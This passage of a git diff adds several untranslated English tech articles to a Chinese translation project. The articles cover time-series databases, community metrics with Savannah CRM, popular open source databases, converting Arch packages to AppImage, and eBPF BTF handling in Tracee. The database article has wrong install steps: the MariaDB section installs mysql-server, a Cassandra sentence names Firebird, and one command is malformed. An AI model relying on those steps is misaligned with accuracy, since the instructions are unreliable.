graphs on demand. To collect data, we can use tools such as collectd, Ganglia, Sensu, telegraf, etc. +* QuestDB is a relational column-oriented database that can perform real-time analytics on time series data. It works with SQL and some extensions to create a relational model for time series data. It supports relational and time-series joins, which helps in correlating the data. +* OpenTSDB is a scalable time series database that has been written on top of HBase. It is capable of storing trillions of data points at millions of writes per second. It has a time-series daemon (TSD) and command-line utilities. TSD is responsible for storing data in or retrieving it from HBase. You can talk to TSD using HTTP API, telnet, or a simple built-in GUI. You need tools like flume, collectd, vacuumetrix, etc, to collect data from various sources into OpenTSDB. + +### Cloud native TSDBs + +Cloud hyperscalers like Azure, AWS and Google offer time series databases and analytics services as part of their cloud portfolio. AWS Timestream is a serverless time series database service that is fast and scalable. It is used majorly for IoT applications to store trillions of events in a day and is 1000 times faster with 1/10th the cost of relational databases. Using its purpose-built query engine, you can query recent and historical data simultaneously. It provides multiple built-in functions to analyse time series data to find useful insights. + +Microsoft Azure Time Series Insights provides a time series analytics engine. For data ingestion there are Azure IoT Hub and Event Hub services. To analyse cloud infrastructure and time series streams, these cloud vendors offers a range of native tools such as AWS CloudWatch, Azure Monitor, Amazon Kinesis, etc. + +-------------------------------------------------------------------------------- + +via: https://www.opensourceforu.com/2022/08/why-we-need-time-series-databases-for-site-reliability-engineering/ + +作者:[K. Narasimha Sekhar][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.opensourceforu.com/author/k-narasimha-sekhar/ +[b]: https://github.com/lkxed +[1]: https://www.opensourceforu.com/wp-content/uploads/2022/06/Figure-1-Alerting-engine-based-on-time-series-data-analysis.jpg +[2]: https://www.opensourceforu.com/wp-content/uploads/2022/06/Figure-2-Time-series-analytics-engine-on-AWS-Cloud.jpg +[3]: https://www.google.com/url?sa=t&rct=j&q=&esrc=s&source=web&cd=&cad=rja&uact=8&ved=2ahUKEwiU2ZaOj9X4AhVLwjgGHcBfB8QQFnoECEAQAQ&url=https%3A%2F%2Fen.wikipedia.org%2Fwiki%2FTime_series_database&usg=AOvVaw3Q9XvE3JIoBTEyu897tQQN diff --git a/sources/tech/20220831 How we track the community health of our open source project.md b/sources/tech/20220831 How we track the community health of our open source project.md new file mode 100644 index 0000000000..59aa92fe79 --- /dev/null +++ b/sources/tech/20220831 How we track the community health of our open source project.md @@ -0,0 +1,105 @@ +[#]: subject: "How we track the community health of our open source project" +[#]: via: "https://opensource.com/article/22/8/open-source-community-health-metrics-savannah" +[#]: author: "Ruth Cheesley https://opensource.com/users/rcheesley" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +How we track the community health of our open source project +====== +Mautic chose Savannah CRM to support community building and recognition efforts. + +To be an effective leader in an open source community, you need a lot of information. How do I know who the most active members in my community are? Which companies are making the most contributions? Which contributors are drifting away and becoming inactive? Who in the community is knowledgeable about a specific topic? + +These were just a few of the questions I had when I started leading the Mautic community at Acquia. But the problem was not a shortage of information. On the contrary, there were so many places our community interacted and so many things to track that I was drowning in data. I could access plenty of data sources, but they were not helping me manage the community effectively or answering my questions. + +### Tracking all the places + +I needed to find a tool to bring all of this together and give the community leadership team a centralized place to see activity everywhere we have people discussing Mautic. More importantly, we needed a tool that could accurately track who was contributing in every way that we defined contributions. + +I tried several tools, but the most promising was the open source Community Relationship Manager Savannah CRM, a relative newcomer to the market. What stood out to me in Savannah was its focus on contribution as well as community health. Other tools I reviewed either did not have a clear concept of contributions or did not cover all the places we wanted to track. + +I started working locally by checking out the [GitHub repository][2] for the Django-based application and quickly began to see the power of bringing all of my metrics into one place. Straight away, I could see a list of new contributors, most active community members, organizations, and even an interactive display allowing me to see how contributors were connected with each other and across the different channels we use. + +![Savannah community dashboard][3] + +Image by: (Michael Hall, CC BY-SA 4.0) + +In the early days of using Savannah, this function helped identify potential leaders for teams and initiatives. The tagging feature also meant I could quickly find out who was talking about a specific topic and where those conversations were happening in the community. + +As the community matured, notifications alerting me to contributors becoming inactive started to be really helpful in prompting a personal check-in with them. Using projects to track activity and contributor funnels in specific areas of our community has helped us spot where contributions are dropping off. Having the ability to "watch" community members who previously breached the code of conduct made it much easier to keep track of their future conduct and act swiftly if there were more incidents. + +Over time we have moved to a hosted plan (mainly because we don't have the contributors to manage our own infrastructure at this time) and have continued to extend how we are using this tool. + +It's really at the heart of everything we do in our community, and it helps me proactively manage our community. It supports everything from my monthly recognition shout-outs to determining whether an organization has a sustained history of contributing that would entitle them to become—and remain—a Community Partner. + +### Tracking all the open source contributions + +Over the last two years, we have expanded what we track as a contribution in Mautic. Currently, the list includes: + +* Authoring a blog post on mautic.org +* Creating a community-focused podcast episode +* Making a pull request (PR) on any of our GitHub repositories +* Reviewing a PR on any of our GitHub repositories +* Completing a Jira issue on any of our Jira projects +* Providing help or feedback on Slack +* Having an answer accepted as a solution on the Discourse forums +* Giving help on a Reddit thread +* Organizing or speaking at an official Mautic event +* Organizing or speaking at a Meetup +* Having an answer to a question accepted on Stack Exchange + +Most of these are available out of the box with Savannah, but some, such as reviewing a PR or completing a Jira issue, we implemented with the application programming interface (API) and integrations with automation tools. + +We also track and highlight the folks who support and engage with others before they contribute, since this often helps the individual make that contribution in the future. + +### Tracking progress over time + +We have several publicly shared reports, including: + +* [Activity over the last 90 days][4] +* [Annual report][5] (2021) +* [All contributions over time][6] +* Monthly reports ([July 2022][7], [June 2022][8], [May 2022][9]) + +Any report in Savannah and any screen can be shared publicly, making it a really easy way to share things with others. + +![A pie chart reflects the amount of conversations among eight different sources. The top sources on the chart are Slack, GitHub, and Discourse. Other sources included Reddit, Stack Exchange, and RSS][10] + +Image by: (Ruth Cheesley, CC BY-SA 4.0) + +For us, it allows folks to see what is happening within the community and also offers a public way to recognize the organizations and individuals who are consistently contributing or engaging in the community. + +### New features in Savannah + +We have experimented with some of the newer features in Savannah, such as tracking when we send swag to contributors and whether it affects future contributions. Another feature I am excited to look into allows us to flag a potential contributor opportunity—for example, if we come across someone we would like to support with writing for the blog, creating a meetup group, or submitting a new feature. Savannah then allows us to track the nurturing of that contributor. + +There are often new features being added, which is great to see. Because it is an open source project, you can, of course, make your own PR to implement new features or fix bugs you come across. + +So far, Savannah has been an excellent tool for tracking our community health in the Mautic community, and it has really helped us both track and recognize contributions across our far-reaching community. I hope that you find it useful in your communities too! + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/8/open-source-community-health-metrics-savannah + +作者:[Ruth Cheesley][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/rcheesley +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/Open%20Pharma.png +[2]: https://github.com/savannahhq/savannah +[3]: https://opensource.com/sites/default/files/2022-08/savannah.png +[4]: https://savannahcrm.com/public/overview/2b4590bf-cad0-4c71-870a-6f942a25f8fe/ +[5]: https://savannahcrm.com/public/report/be33f366-f98e-4f21-915b-cdecadd3dc0e/ +[6]: https://savannahcrm.com/public/contributions/d26d705d-c5e5-40f5-bd6a-ba1ffda474c3/ +[7]: https://savannahcrm.com/public/report/ecba71f9-a28a-48f4-a268-a499e063b000/ +[8]: https://savannahcrm.com/public/report/5b0329df-dad0-4091-85ce-373a0e7e4cf3/ +[9]: https://savannahcrm.com/public/report/c7227c78-1053-4652-b4a2-0d9a53f0f413/ +[10]: https://opensource.com/sites/default/files/2022-08/source%20of%20contributions_0.png diff --git a/sources/tech/20220901 Are You Familiar with These Popular Open Source Databases-.md b/sources/tech/20220901 Are You Familiar with These Popular Open Source Databases-.md new file mode 100644 index 0000000000..5cd75e15f4 --- /dev/null +++ b/sources/tech/20220901 Are You Familiar with These Popular Open Source Databases-.md @@ -0,0 +1,189 @@ +[#]: subject: "Are You Familiar with These Popular Open Source Databases?" +[#]: via: "https://www.opensourceforu.com/2022/09/are-you-familiar-with-these-popular-open-source-databases/" +[#]: author: "Jishnu Saurav Mittapalli https://www.opensourceforu.com/author/jishnu-saurav-mittapalli/" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +Are You Familiar with These Popular Open Source Databases? +====== +*As data grows by leaps and bounds, its organisation becomes all-important. This article briefly describes the most popular databases being used by software development teams today.* + +In software systems, data is stored in an organised format and can be accessed electronically using a database. As data has become a very important asset today, it is very important for us to have a basic knowledge about the different databases in use today. +The first database that we will be looking at is MySQL. + +### MySQL + +MySQL is one of the most widely used open source database management systems. Owned by Oracle Corporation, it works on most major operating systems like Windows, MacOS, Linux, etc. One big benefit of MySQL is that it works really well for small and large applications. + +#### Advantages + +* It works well with a variety of operating systems and programming languages like PHP, C, C++, Perl, etc. +* It is open source and free. +* It supports a huge size of data of about 8 million terabytes. +* MySQL is customisable as it is open source. +* It is also much faster than other databases. +* To install and get started with MySQL on your Ubuntu based computer, use the command given below: + +``` +$sudo apt update +$sudo apt install mysql-server +$sudo systemctl start mysql.service +``` + +### MariaDB + +MariaDB is popular primarily because of its good performance and compatibility with MySQL. It supports relational databases. The developers of MySQL have built MariaDB and guarantee that it is going to stay open sourced. This popular database server is part of most major cloud offerings today, and gives great importance to stability and performance. MariaDB has recently added clustering techniques using the Galera cluster, and is also compatible with Oracle databases. + +#### Advantages + +* Easy installation +* Supports operation on Big Data +* High scalability +* Easy import of data +* To install and get started with MariaDB on your Ubuntu based computer, use the command given below: + +``` +$sudo apt update +$sudo apt install mysql-server +$sudo systemctl start mysql.service +``` + +### RethinkDB + +RethinkDB is an open source, free, distributed, and document based database server. This NoSQL database has been developed by Rethink, and can store JSON files with schemas that are dynamic. More importantly, real-time updates for query results can be pushed for applications to use. Since it is a distributed database, it is highly scalable. It has many automatic functions, making it a highly available database. As it is a popular database today, it is important that we learn how to use it. + +#### Advantages + +* This is basically an open source database that can be used for Web based applications. +* It is easy to scale because it’s a distributed database. +* It has many automatic functions with a high availability. +* This NoSQL database is JSON dynamic document based. +* The following commands can be helpful for using RethinkDB on your Ubuntu machine: + +``` +Get required packages source +/etc/lsb-release && echo” deb https://download.rethinkdb.com/repository/ubuntu-$DISTRIB_CODENAME $DISTRIB_CODENAME main” | sudo tee /etc/apt/sources.list.d/rethinkdb.list + +Get required repositories +$wget -qO- https://download.rethinkdb.com/repository/raw/pubkey.gpg | sudo apt-key add +$sudo apt update +$sudo apt-get install rethinkdb +$sudo systemctl start rethinkdb +``` + +### OrientDB + +OrientDB is a NoSQL and Java based open source database management system. This multi-model database service system supports all sorts of data like documents, dictionaries, objects, and graphs. It stores the relationships in the form of a graph database. +The following commands can be helpful for using OrientDB on your Ubuntu machine: + +``` +$sudo apt-get update +$wget -O orientdb-community-2.2.20.tar.gz http://orientdb.com/download.php?file=orientdb-community-2.2.20.tar.gz&os=linux +$tar -zxvf orientdb-community-2.2.20.tar.gz +$sudo mv ~/orientdb-community-2.2.20 /opt/orientdb +``` + +### CouchDB + +CouchDB is an important NoSQL based open source database server developed in Erlang. It uses many protocols and formats to transfer, process and share data. JSON files are used to store the data, MapReduce is used as the base and JavaScript is used as the querying language. + +#### Advantages + +* It can store any kind of data. +* MapReduce helps in increasing its efficiency. +* The overall structure is very simple. +* Indexing and retrieval is fast. +* The following commands can help you to use CouchDB on your Ubuntu machine: + +``` +$echo “deb https://apache.bintray.com/couchdb-deb focal main” >> /etc/apt/sources.list +$sudo apt-get update +$sudo apt install apache2 couchdb -y +``` + +### Firebird + +Firebird is an open source database management system that mainly works on relational databases. It is compatible with all operating systems like Linux, Windows and MacOS. It was originally forked from the Interbase repository, which was also an open source database. + +#### Advantages + +* The functionality of the database is not limited. +* It is a very stable and powerful database. +* The configuration and usage of the database is much simpler than other databases. +* The following commands can help you use Firebird on your Ubuntu machine: + +``` +$sudo apt-get update +$sudo apt-get install firebird2.5-superclassic +``` + +### Cassandra + +Cassandra is owned and developed by Apache. This highly scalable, distributed, high performance database can handle large amounts of data and works really well. As it is distributed among many servers, it has no single point of failure. It is basically a NoSQL database, which implies it is not a relational database. + +#### Advantages + +* High performance +* High scalability +* Peer-to-peer architecture is used instead of master slave architecture +* The following commands can be helpful in using Firebird on your Ubuntu machine: + +``` +$curl https://www.apache.org/dist/cassandra/KEYS | sudo apt-key add - +$sudo apt-get update +$sudo apt-get install cassandra +$sudo systemctl enable cassandra +$sudo systemctl start cassandra +``` + +### PostgreSQL + +Today PostgreSQL is one of the most popular open source relational database management systems. It is easily extensible and, at the same time, is compliant with SQL. More than 30 years of active development has gone into this DBMS. + +### Advantages + +* In Postgres we can store a wider variety of data compared to MySQL. +* It is largely compliant with the SQL standard. +* It is also highly expandable. + +The following commands can be helpful for using PostgreSQL on your Ubuntu machine: + +``` +$sudo apt-get update +$sudo apt apt install postgresql postgresql-contrib +``` + +### CockroachDB + +CockroachDB is a database built for reliability, i.e., it can survive any kind of adverse situation (just like cockroaches can survive any disastrous situation and multiply). This database can handle large amounts of data. Multicluster databases can also be built. + +### Advantages + +* Deployment is easy +* High consistency +* Transactions are distributed +* Availability is high +* It is also compatible with SQL + +### Redis + +Redis is an open source, key value based data storage database. This NoSQL database is really handy because it uses different keys of various types. + +We’ve gone through the most well-known and popular open source database management systems that are being used to store and manage data. Learning about these different databases can be a lot of fun. Try the different options, and use the one that fits your requirements the best. Also, do check out the official documentation of these databases. + +-------------------------------------------------------------------------------- + +via: https://www.opensourceforu.com/2022/09/are-you-familiar-with-these-popular-open-source-databases/ + +作者:[Jishnu Saurav Mittapalli][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.opensourceforu.com/author/jishnu-saurav-mittapalli/ +[b]: https://github.com/lkxed diff --git a/sources/tech/20220901 How To Convert Arch Linux Packages To AppImage Using Arch2appimage.md b/sources/tech/20220901 How To Convert Arch Linux Packages To AppImage Using Arch2appimage.md new file mode 100644 index 0000000000..30a5ed0b8f --- /dev/null +++ b/sources/tech/20220901 How To Convert Arch Linux Packages To AppImage Using Arch2appimage.md @@ -0,0 +1,268 @@ +[#]: subject: "How To Convert Arch Linux Packages To AppImage Using Arch2appimage" +[#]: via: "https://ostechnix.com/convert-arch-linux-packages-to-appimage/" +[#]: author: "sk https://ostechnix.com/author/sk/" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +How To Convert Arch Linux Packages To AppImage Using Arch2appimage +====== +Arch2appimage - A Python script to convert any arch linux package to an AppImage + +We already have discussed how to convert a DEB package to an Arch Linux package format with **[Debtap][1]** utility. We also have seen how to use **[Alien][2]** tool to convert Linux packages to different formats. Today, we will be discussing yet another Linux package converter tool named **Arch2appimage**. In this guide, we will see a brief introduction to Arch2appimage, and how to install Arch2appimage in Linux and how to **convert Arch Linux packages to AppImage** format with Arch2appimage application. + +### What Is Arch2appimage? + +**Arch2appimage** is a Python script to convert any Arch linux package (official/AUR) to an AppImage format. Arch2appimage downloads the AUR source code, compiles it and finally converts the package to an AppImage executable file. + +Arch2appimage packages the given package to AppImage format including all necessary dependencies. It includes not only the dependencies, but also the dependencies to the dependencies for **better compatibility**. + +Why would I convert an Arch linux package into appimage format? You might winder. AUR (Arch User Repository) is an unofficial, community-driven, and largest software repository that hosts user-created Arch Linux packages. AUR has every kind of packages in it. You may find an interesting package that is only available in AUR and want to use it on a different Linux platform, say Fedora. This is where Arch2Appimage utility comes in help. + +Using Arch2Appimage script, you can easily convert an Arch Linux package file to the AppImage format without much hassle. It is quite helpful to pack one package and run in another distribution, for example Fedora, Debian, openSUSE or any Linux distribution that supports AppImage format.. + +As you may already, AppImage is one of the popular universal package format. Unlike the platform-specific package formats like `.pkg`, `.deb`, `.rpm` etc., an AppImage file is completely portable and AppImages can run on virtually any Linux system. + +Please note that Arch2appimage needs an Arch Linux and its variants like EndeavourOS or Manjaro Linux. Because it uses **[Yay][3]** under the hood to download the packages. However, the developer says you could modify the script to use your compiler as long as dependencies are met. + +Arch2appimage is written in **Python** and the source code is freely available in GitHub. + +### Install Arch2appimage In Arch Linux + +To be able to run Arch2appimage in your Arch Linux system, make sure you have installed **Python 3** and **[Pip][4]** package manager to install the dependencies. + +Git clone the Arch2appimage repository: + +``` +$ git clone https://github.com/redicculus/arch2appimage.git +``` + +This will cone the contents of Arch2appimage repository in a local folder called **arch2appimage**. Cd into the arch2appimage directory: + +``` +$ cd arch2appimage +``` + +And then install Arch2appimage using command: + +``` +$ pip3 install -r requirements.txt +``` + +This should be enough to run Arch2appimage on your system. It is time to pack your favorite Arch Linux packages to AppImage format. + +### Convert Arch Linux Packages To AppImage Format Using Arch2appimage + +Launch Arch2appimage script using command: + +``` +$ python3 arch2appimage.py +``` + +You will be asked a series of questions. Read the questions carefully and answer them accordingly. + +![Convert Arch Linux Packages To AppImage Format][5] + +First, enter the name of the package that you want to convert into AppImage format. For demonstration purpose, I am going to package **"Gedit"** application. The source code of "Gedit" package will be downloaded from AUR. + +``` +Convert any Arch linux package (official/AUR) to AppImage!! +Loading Chaotic AUR package list... + +Enter the name of the package (leave empty to quit) +[?] >>: gedit +Downloading gedit... + ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 2.1/2.1 MB • 1.4 MB/s • 0:00:00 +``` + +Choose an icon to be used for your application (i.e. gedit). Arch2appimage will give two or more choices. You can choose a suitable icon from the list. + +``` +Please select the icon file to be used +[?] >>: AppDir/usr/share/icons/hicolor/scalable/apps/org.gnome.gedit.svg + > AppDir/usr/share/icons/hicolor/scalable/apps/org.gnome.gedit.svg + AppDir/usr/share/icons/hicolor/symbolic/apps/org.gnome.gedit-symbolic.svg +``` + +Arch2appimage utility will show you the list of packages to be downloaded. If you want to add additional packages, simply enter its name, else press ENTER to continue. + +``` +These packages (and their dependencies) will be downloaded: +1. gtksourceview4 +2. gsettings-desktop-schemas +3. libpeas +4. gspell +5. python-gobject + +If you would like to add additional packages please enter them below (space seperated). Leave empty to start downloading +[?] >>: +Downloading gtksourceview4... + ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 1.0/1.0 MB • 841.4 kB/s • 0:00:00 +Downloading gsettings-desktop-schemas... + ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 684.8/684.8 kB • 762.1 kB/s • 0:00:00 +Downloading libpeas... + ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 144.0/144.0 kB • 366.0 kB/s • 0:00:00 +Downloading gspell... + ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 125.9/125.9 kB • 325.7 kB/s • 0:00:00 +Downloading python-gobject... + ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 260.1/260.1 kB • 420.5 kB/s • 0:00:00 +``` + +You will be asked to download latest version of **libunionpreload.so** package. You can choose either "yes" or "No". If you choose Yes, a latest version of the above package will be downloaded or the existing old version will be used. + +``` +Would you like to download the latest libunionpreload.so? If you select No the existing one will be used. +[?] >>: Yes + > Yes + No + +Downloading libunionpreload.so... + ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 22.6/22.6 kB • ? • 0:00:00 +``` + +Now the package is ready to be converted to AppImage format. The package source code and its dependencies will be downloaded and kept in **arch2appimage/AppDir** directory. + +You can choose the option either "Build the AppImage" to convert the given package to AppImage or choose "Add more packages" option to add other packages. I choose **"Build the AppImage"** option. + +``` +AppDir is ready. Please take a look into the directory to ensure everything is OK. +Exec the AppRun (command './AppRun') to test if everything works. + +What would you like to do next? +[?] >>: Build the AppImage + > Build the AppImage + Add more packages +``` + +Next, choose "Yes" to download the latest AppImageTool (Appimagetool is a tool that lets you generate AppImage files.) or "No" to use the existing one. I go with Yes. + +Congratulations! The Gedit package is converted into AppImage format and saved in `arch2appimage/out` directory. + +``` +Would you like to download the latest AppImageTool? If you select No the existing one will be used. +[?] >>: Yes + > Yes + No + +Downloading AppImageTool... + ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 8.2/8.2 MB • 3.7 MB/s • 0:00:00 +Running AppImageTool... + +appimagetool, continuous build (commit 4bcfe23), build built on 2022-08-17 01:03:50 UTC +Using architecture x86_64 +/home/ostechnix/arch2appimage/AppDir should be packaged as out/gedit-x86_64.AppImage +Deleting pre-existing .DirIcon +Creating .DirIcon symlink based on information from desktop file +Generating squashfs... +Parallel mksquashfs: Using 2 processors +Creating 4.0 filesystem on out/gedit-x86_64.AppImage, block size 131072. +[====================================================================================================================/] 2371/2371 100% + +Exportable Squashfs 4.0 filesystem, gzip compressed, data block size 131072 + compressed data, compressed metadata, compressed fragments, + compressed xattrs, compressed ids + duplicates are removed +Filesystem size 7284.77 Kbytes (7.11 Mbytes) + 24.68% of uncompressed filesystem size (29513.93 Kbytes) +Inode table size 26215 bytes (25.60 Kbytes) + 27.56% of uncompressed inode table size (95103 bytes) +Directory table size 22102 bytes (21.58 Kbytes) + 27.04% of uncompressed directory table size (81735 bytes) +Number of duplicate files found 49 +Number of inodes 2848 +Number of files 2338 +Number of fragments 228 +Number of symbolic links 105 +Number of device nodes 0 +Number of fifo nodes 0 +Number of socket nodes 0 +Number of directories 405 +Number of ids (unique uids + gids) 1 +Number of uids 1 + root (0) +Number of gids 1 + root (0) +Embedding ELF... +Marking the AppImage as executable... +Embedding MD5 digest +Success + +Please consider submitting your AppImage to AppImageHub, the crowd-sourced +central directory of available AppImages, by opening a pull request +at https://github.com/AppImage/appimage.github.io +``` + +Next, you will be asked if you want to rebuild the package again. Choosing "Yes" to build the gedit application again and choosing "No" will exit the process. I don't want to restart the building process, so I choose No. + +``` +Would you like to re-build it? +[?] >>: No + Yes + > No +``` + +Finally choose "Yes" to remove the AppDir and close Archappimage utility. + +``` +Would you like to remove AppDir/ +[?] >>: Yes + > Yes + No + +Exiting... +``` + +That's it. The gedit package is converted to AppImage format and the resulting file is saved in **arch2appimage/out** directory. + +``` +[ostechnix@manjaro arch2appimage]$ ls out/ +gedit-x86_64.AppImage +``` + +You can now run the AppImage file using command: + +``` +[ostechnix@manjaro arch2appimage]$ ./out/gedit-x86_64.AppImage +``` + +You can also double click the AppImage file to launch it from your graphical file manager application. + +![Launch Gedit Application AppImage][6] + +The AppImage file is packaged with all necessary dependencies. So you can run it on any Linux distribution without installing it or any other additional application. + +If you want to integrate the Appimage files to your application launcher, refer the following link. + +* [Integrate AppImages To Application Menu Using AppImageLauncher][7] + +### Conclusion + +Arch2appimage is very new project. So you should expect bugs. I tested Arch2appimage only for a brief time in my Manjaro Linux desktop. It works fine with Gedit application. I tested a few other applications such as pacman and yt-dlp. But they didn't work. Arch2appimage kept asking me to enter the path to the `.desktop` file. I don't know where it is. I guess all issues will be sorted out in the stable version. + +**Resource:** + +* [Arch2appimage GitHub Repository][8] + +-------------------------------------------------------------------------------- + +via: https://ostechnix.com/convert-arch-linux-packages-to-appimage/ + +作者:[sk][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://ostechnix.com/author/sk/ +[b]: https://github.com/lkxed +[1]: https://ostechnix.com/convert-deb-packages-arch-linux-packages/ +[2]: https://ostechnix.com/convert-linux-packages-alien/ +[3]: https://ostechnix.com/yay-found-yet-another-reliable-aur-helper/ +[4]: https://ostechnix.com/manage-python-packages-using-pip/ +[5]: https://ostechnix.com/wp-content/uploads/2022/09/Convert-Arch-Linux-Packages-To-AppImage-Format.png +[6]: https://ostechnix.com/wp-content/uploads/2022/09/Launch-Gedit-Application-AppImage.png +[7]: https://ostechnix.com/integrate-appimages-to-application-menu-using-appimagelauncher/ +[8]: https://github.com/redicculus/arch2appimage diff --git a/sources/tech/20220901 How Tracee solves the lack of BTF information.md b/sources/tech/20220901 How Tracee solves the lack of BTF information.md new file mode 100644 index 0000000000..6fa634f91b --- /dev/null +++ b/sources/tech/20220901 How Tracee solves the lack of BTF information.md @@ -0,0 +1,385 @@ +[#]: subject: "How Tracee solves the lack of BTF information" +[#]: via: "https://opensource.com/article/22/9/ebpf-monitor-traffic-tracee" +[#]: author: "Alessio Greggi https://opensource.com/users/alegrey91" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +How Tracee solves the lack of BTF information +====== +By tracing processes using Linux eBPF (Berkeley packet filter) technology, Tracee can correlate collected information and identify malicious behavioral patterns. + +![Mesh networking connected dots][1] + +Tracee is a project by Aqua Security for tracing processes at runtime. By tracing processes using [Linux eBPF][2] (Berkeley packet filter) technology, Tracee can correlate collected information and identify malicious behavioral patterns. + +### eBPF + +BPF is a system to help in network traffic analysis. The later eBPF system extends classic BPF to improve the programmability of the Linux kernel in different areas, such as network filtering, function hooking, and so on. Thanks to its register-based virtual machine, which is embedded in the kernel, eBPF can execute programs written with a restricted C language without needing to recompile the kernel or load a module. Through eBPF, you can run your program in kernel context and hook various events in the kernel path. To do so, eBPF needs to have deep knowledge about data structures that the kernel is using. + +### eBPF CO-RE + +eBPF interfaces with Linux kernel ABI (application binary interface). Access to kernel structures from eBPF VM depends on the specific Linux kernel release. + +eBPF CO-RE (compile once, run everywhere) is the ability to write an eBPF program that will successfully compile, pass kernel verification, and work correctly across different kernel releases without the need to recompile it for each particular kernel. + +#### Ingredients + +CO-RE needs a precise synergism of these components: + +* BTF (BPF type format) information: Allows the capture of crucial pieces of information about kernel and BPF program types and code, enabling all the other parts of BPF CO-RE puzzle. +* Compiler (Clang): Records relocation information. For example, if you were going to access the task_struct->pid field, Clang would record that it was exactly a field named `pid` of type `pid_t` residing within a struct `task_struct`. This system ensures that even if a target kernel has a `task_struct` layout in which the `pid` field is moved to a different offset within a `task_struct` structure, you'll still be able to find it just by its name and type information. +* BPF loader (libbpf): Ties BTFs from kernel and BPF programs together to adjust compiled BPF code to specific kernels on target hosts. + +So how do these ingredients mix together for a successful recipe? + +#### Development/build + +To make the code portable, the following tricks come into play: + +* CO-RE helpers/macros +* BTF-defined maps +* #include "vmlinux.h" (the header file containing all the kernel types) + +#### Run + +The kernel must be built with the `CONFIG_DEBUG_INFO_BTF=y` option in order to provide the `/sys/kernel/btf/vmlinux` interface that exposes BTF-formatted kernel types. This allows libbpf to resolve and match all the types and fields and update necessary offsets and other relocatable data to make sure that the eBPF program is working properly for the specific kernel on the target host. + +### The problem + +The problem arises when an eBPF program is written to be portable but the target kernel doesn't expose the `/sys/kernel/btf/vmlinux` interface. For more information, [refer to this list][3] of distributions that support BTF. + +To load an run an eBPF object in different kernels, the libbpf loader uses the BTF information to calculate field offset relocations. Without the BTF interface, the loader doesn't have the necessary information to adjust the previously recorded types that the program tries to access after processing the object for the running kernel. + +Is it possible to avoid this problem? + +#### Use cases + +This article explores [Tracee][4], an Aqua Security open source project, that provides a possible solution. + +Tracee provides different running modes to adapt itself to the environment conditions. It supports two eBPF integration modes: + +* CO-RE: A portable mode, which seamlessly runs on all supported environments +* Non CO-RE: A kernel-specific mode, requiring the eBPF object to be built for the target host + +Both of them are implemented in the eBPF C code (`pkg/ebpf/c/tracee.bpf.c` ), where the pre-processing conditional directive takes place. This allows you to compile CO-RE the eBPF binary, passing the `-DCORE` argument at build time with Clang (take a look at the `bpf-core` Make target). + +In this article, we're going to cover a case of the portable mode when the eBPF binary is built CO-RE, but the target kernel has not been built with `CONFIG_DEBUG_INFO_BTF=y` option. + +To better understand this scenario, it helps to understand what's possible when the kernel doesn't expose BTF-formatted types on sysfs. + +#### No BTF support + +If you want to run Tracee on a host without BTF support, there are two options: + +1. [Build and install][5] the eBPF object for your kernel. This depends on Clang and on the availability of a kernel version-specific kernel-headers package. +2. Download the BTF files from [BTFHUB][6] for your kernel release and provide it to the `tracee-ebpf`'s loader through the `TRACEE_BTF_FILE` environment variable. + +The first option is not a CO-RE solution. It compiles the eBPF binary, including a long list of kernel headers. That means you need kernel development packages installed on the target system. Also, this solution needs Clang installed on your target machine. The Clang compiler can be resource-heavy, so compiling eBPF code can use a significant amount of resources, potentially affecting a carefully balanced production workload. That said, it's a good practice to avoid the presence of a compiler in your production environment. This could lead to attackers successfully building an exploit and performing a privilege escalation. + +The second option is a CO-RE solution. The problem here is that you have to provide the BTF files in your system in order to make Tracee work. The entire archive is nearly 1.3 GB. Of course you can provide just the right BTF file for your kernel release, but that can be 